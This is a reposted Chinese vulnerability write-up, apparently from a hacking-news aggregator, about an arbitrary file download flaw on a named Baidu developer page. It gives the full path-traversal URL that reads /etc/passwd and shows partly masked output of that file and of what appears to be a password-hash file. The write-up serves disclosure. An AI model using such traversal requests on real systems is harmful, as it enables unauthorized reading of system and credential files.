记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

百度某站任意文件下载

2016-01-28 13:30

打卡


http://youxi.baidu.com/developerDemo/demo.jsp

我猜这个页面应该是保密的
mask 区域

*****??*****
**********
**********
*****??认证之前PO*****
**********
*****y=27dccf180127259d89d*****
**********
*****??序后,request?*****
**********
*****e0736700serverId=1*****
**********
*****824610124382461e60002,则?*****
**********
*****?时之间以外的全部空格*****
***** *****
*****cf180127259d89d81737e0736*****
**********
*****??成的MD5值为(全转大?*****

 


http://youxi.baidu.com/developerDemo/demoDownload.jsp?file=../../../../../../../../../../../../../../../etc/passwd

 

mask 区域

*****:/root:/*****
*****bin:/sbi*****
*****:/sbin:/sb*****
*****r/adm:/sb*****
*****ool/lpd:/s*****
*****:/sbin:/*****
*****wn:/sbin:/s*****
*****:/sbin:/*****
*****/spool/mail*****
*****spool/uucp:/*****
*****tor:/root:/*****
*****/usr/games:*****
*****var/gopher:/*****
*****ser:/:/sb*****
*****body:/:/s*****
*****memory owner:/d*****
*****r":/var/empty/*****
*****pool/postfix*****
*****d SSH:/var/empty*****
*****/var/cache/rpc*****
***** User:/var/lib*****
***** NFS User:/var/li*****
*****/ntp:/sbi*****
*****::/:/sbi*****
*****be used by OProfile:/*****
*****sage bus:/:/*****
***** daemon:/:/*****
*****ck:/var/run/avahi-*****
*****aemon:/:/s*****
*****home/work*****
*****ool/exim:/s*****
*****ome/www:/*****
*****ome/memcache*****

 

mask 区域

*****HB5G3fhT5qungLhmNI8Neu21N5UnQ*****
*****:0:999*****
*****3:0:999*****
*****:0:999*****
*****0:9999*****
*****3:0:99*****
*****513:0:9*****
*****3:0:99*****
*****3:0:99*****
*****3:0:99*****
*****513:0:9*****
*****:0:9999*****
*****3:0:999*****
*****:0:999*****
*****3:0:999*****
*****5734:*****
*****:15734*****
*****15734:*****
*****5734:*****
*****4:0:99*****
*****15734:*****
*****!:1573*****
*****734::*****
*****15734:*****
*****:15734*****
*****5734:*****
*****!:1573*****
*****15734*****
*****5734:*****
*****:0:9999*****
*****6653:*****
*****1:0:99*****
*****671:0:99*****

 

知识来源: www.2cto.com/Article/201601/487947.html

阅读:74242 | 评论:0 | 标签:无

想收藏或者和大家分享这篇好文章→复制链接地址

“百度某站任意文件下载”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

关注公众号hackdig,学习最新黑客技术

推广

工具

标签云